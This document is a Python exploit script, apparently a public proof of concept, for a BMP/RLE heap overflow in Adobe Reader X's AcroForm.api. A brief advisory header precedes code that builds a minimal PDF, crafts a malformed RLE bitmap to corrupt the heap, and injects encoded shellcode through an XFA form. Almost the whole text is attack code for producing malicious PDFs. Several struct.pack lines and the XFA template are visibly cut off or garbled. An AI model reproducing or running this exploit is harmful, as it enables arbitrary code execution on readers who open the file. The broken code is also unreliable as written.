''' Title: Adobe Reader X BMP/RLE heap corruption Product: Adobe Reader X Version: 10.x Product Homepage: adobe.com Binary affected: AcroForm.api Binary Version: 10.1.4.38 Binary MD5: 8e0fc0c6f206b84e265cc3076c4b9841 Configuration Requirements ----------------------------------------- Default configuration. Vulnerability Requirements ----------------------------------------- None. Vulnerability Description ----------------------------------------- Adobe Reader X fails to validate the input when parsing an embedded BMP RLE encoded image. Arbitrary code execution in the context of the sandboxed process is proved possible after a malicious embeded bmp image triggers a heap overflow. Vulnerability WorkAround (if possible) ----------------------------------------- Delete AcroForm.api ''' from hashlib import md5 import sys, struct ######### Begin of the miniPDF import zlib #For constructing a minimal pdf file ## PDF REference 3rd edition:: 3.2 Objects class PDFObject: def __init__(self): self.n=None self.v=None def __str__(self): raise Exception("Fail") ## PDF REference 3rd edition:: 3.2.1 Booleans Objects class PDFBool(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): if self.s: return "true" return "false" ## PDF REference 3rd edition:: 3.2.2 Numeric Objects class PDFNum(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "%s"%self.s ## PDF REference 3rd edition:: 3.2.3 String Objects class PDFString(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "(%s)"%self.s ## PDF REference 3rd edition:: 3.2.3 String Objects / Hexadecimal Strings class PDFHexString(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "<" + "".join(["%02x"%ord(c) for c in self.s]) + ">" ## A convenient type of literal Strings class PDFOctalString(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s="".join(["\\%03o"%ord(c) for c in s]) def __str__(self): return "(%s)"%self.s ## PDF REference 3rd edition:: 3.2.4 Name Objects class PDFName(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "/%s"%self.s ## PDF REference 3rd edition:: 3.2.5 Array Objects class PDFArray(PDFObject): def __init__(self,s): PDFObject.__init__(self) assert type(s) == type([]) self.s=s def append(self,o): self.s.append(o) return self def __str__(self): return "[%s]"%(" ".join([ o.__str__() for o in self.s])) ## PDF REference 3rd edition:: 3.2.6 Dictionary Objects class PDFDict(PDFObject): def __init__(self, d={}): PDFObject.__init__(self) self.dict = {} for k in d: self.dict[k]=d[k] def __iter__(self): for k in self.dict.keys(): yield k def __iterkeys__(self): for k in self.dict.keys(): yield k def __getitem__(self, key): return self.dict[key] def add(self,name,obj): self.dict[name] = obj def get(self,name): if name in self.dict.keys(): return self.dict[name] else: return None def __str__(self): s="<<" for name in self.dict: s+="%s %s "%(PDFName(name),self.dict[name]) s+=">>" return s ## PDF REference 3rd edition:: 3.2.7 Stream Objects class PDFStream(PDFDict): def __init__(self,d={},stream=""): PDFDict.__init__(self,d) self.stream=stream self.filtered=self.stream self.add('Length', len(stream)) self.filters = [] def appendFilter(self, filter): self.filters.append(filter) self._applyFilters() #yeah every time .. so what! def _applyFilters(self): self.filtered = self.stream for f in self.filters: self.filtered = f.encode(self.filtered) if len(self.filters)>0: self.add('Length', len(self.filtered)) self.add('Filter', PDFArray([f.name for f in self.filters])) #Add Filter parameters ? def __str__(self): self._applyFilters() #yeah every time .. so what! s="" s+=PDFDict.__str__(self) s+="\nstream\n" s+=self.filtered s+="\nendstream" return s ## PDF REference 3rd edition:: 3.2.8 Null Object class PDFNull(PDFObject): def __init__(self): PDFObject.__init__(self) def __str__(self): return "null" ## PDF REference 3rd edition:: 3.2.9 Indirect Objects class UnResolved(PDFObject): def __init__(self,n,v): PDFObject.__init__(self) self.n=n self.v=v def __str__(self): return "UNRESOLVED(%d %d)"%(self.n,self.v) class PDFRef(PDFObject): def __init__(self,obj): PDFObject.__init__(self) self.obj=[obj] def __str__(self): if len(self.obj)==0: return "null" return "%d %d R"%(self.obj[0].n,self.obj[0].v) ## PDF REference 3rd edition:: 3.3 Filters ## Example Filter... class FlateDecode: name = PDFName('FlateDecode') def __init__(self): pass def encode(self,stream): return zlib.compress(stream) def decode(self,stream): return zlib.decompress(stream) ## PDF REference 3rd edition:: 3.4 File Structure ## Simplest file structure... class PDFDoc(): def __init__(self,obfuscate=0): self.objs=[] self.info=None self.root=None def setRoot(self,root): self.root=root def setInfo(self,info): self.info=info def _add(self,obj): if obj.v!=None or obj.n!=None: raise Exception("Already added!!!") obj.v=0 obj.n=1+len(self.objs) self.objs.append(obj) def add(self,obj): if type(obj) != type([]): self._add(obj); else: for o in obj: self._add(o) def _header(self): return "%PDF-1.5\n%\xE7\xF3\xCF\xD3\n" def __str__(self): doc1 = self._header() xref = {} for obj in self.objs: xref[obj.n] = len(doc1) doc1+="%d %d obj\n"%(obj.n,obj.v) doc1+=obj.__str__() doc1+="\nendobj\n" posxref=len(doc1) doc1+="xref\n" doc1+="0 %d\n"%(len(self.objs)+1) doc1+="0000000000 65535 f \n" for xr in xref.keys(): doc1+= "%010d %05d n \n"%(xref[xr],0) doc1+="trailer\n" trailer = PDFDict() trailer.add("Size",len(self.objs)+1) if self.root == None: raise Exception("Root not set!") trailer.add("Root",PDFRef(self.root)) if self.info: trailer.add("Info",PDFRef(self.info)) doc1+=trailer.__str__() doc1+="\nstartxref\n%d\n"%posxref doc1+="%%EOF" return doc1 ######### End of miniPDF SLIDESIZE=0x12C def mkBMP(payload, exception=True): bmp = '' #getInfoHeader bfType = 0x4d42 assert bfType in [0x4d42,0x4349,0x5043,0x4943,0x5043] #0x4142: not supp bmp += struct.pack('0xff: raise "BUG!!!!" biClrImportant = 0 bmp += struct.pack('= 3 bmp += '\x00\x02'+chr(0x100-len(payload))+'\x00' bmp += '\x00'+chr(len(payload))+payload if len(payload)&1 : bmp += 'P' if exception: bmp += '\x00\x02\x00\xff'*10 #getting the pointer outside the texture so it triggers an exception bmp += '\x00'+chr(10)+'X'*10 else: bmp += '\x00\x01' #'\x04X'*(biWidth+2000)+"\x00\x02" return bmp def UEncode(s): r = '' s += '\x00'*(len(s)%2) for i in range(0,len(s),2): r+= '\\u%04x'%(struct.unpack(' pdf 1.7 5 * January February March April May June July August September October November December Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec Sunday Monday Tuesday Wednesday Thursday Friday Saturday Sun Mon Tue Wed Thu Fri Sat AM PM BC AD EEEE, MMMM D, YYYY MMMM D, YYYY MMM D, YYYY M/D/YY h:MM:SS A Z h:MM:SS A Z h:MM:SS A h:MM A GyMdkHmsSEDFwWahKzZ z,zz9.zzz $z,zz9.99|($z,zz9.99) z,zz9% . , % - 0 $ USD . 2012-11-23T13:41:54Z Adobe LiveCycle Designer ES 10.0 2012-11-23T05:26:02-08:00 2012-11-23T05:15:47-08:00 Adobe LiveCycle Designer ES 10.0 uuid:0aa46f9b-2c50-42d4-ab0b-1a1015321da7 uuid:86c66599-7238-4e9f-8fad-fe2cd922afb2 application/pdf ''' assert len(shellcode) <= 0xF00, "You need a smaller shellcode, sorry" #shellcode xdp = xdp.replace("%%SHELLCODE%%",UEncode(shellcode)) xdp = xdp.replace("%%SLIDESIZE%%", "0x%x"%SLIDESIZE); xdp = xdp.replace("%%MINICHUNKX%%",UEncode('O'*SLIDESIZE)) xdp = xdp.replace("%%BMPFREELFH%%",mkBMP('\x01\x00\x00\x00\x00\x00'+ chr(0x27)+'\x05',True).encode('base64')) #xdp = xdp.replace("%%BMPFREELFH%%",file("/usr/share/pixmaps/gnome-news.png","rb").read().encode('base64')) file("%s.log"%sys.argv[0].split('.')[0],'wb').write(xdp) #The document doc = PDFDoc() #font font = PDFDict() font.add("Name", PDFName("F1")) font.add("Subtype", PDFName("Type1")) font.add("BaseFont", PDFName("Helvetica")) #name:font map fontname = PDFDict() fontname.add("F1",font) #resources resources = PDFDict() resources.add("Font",fontname) #contents contentsDict = PDFDict() contents= PDFStream(contentsDict, '''BT /F1 24 Tf 100 100 Td (Pedefe Pedefeito Pedefeon!) Tj ET''') #page page = PDFDict() page.add("Type",PDFName("Page")) page.add("Resources",resources) page.add("Contents", PDFRef(contents)) #pages pages = PDFDict() pages.add("Type", PDFName("Pages")) pages.add("Kids", PDFArray([PDFRef(page)])) pages.add("Count", PDFNum(1)) #add parent reference in page page.add("Parent",PDFRef(pages)) xfa = PDFStream(PDFDict(), xdp) xfa.appendFilter(FlateDecode()) doc.add(xfa) #form form = PDFDict() form.add("XFA", PDFRef(xfa)) doc.add(form) #shellcode2 shellcode2 = PDFStream(PDFDict(), struct.pack("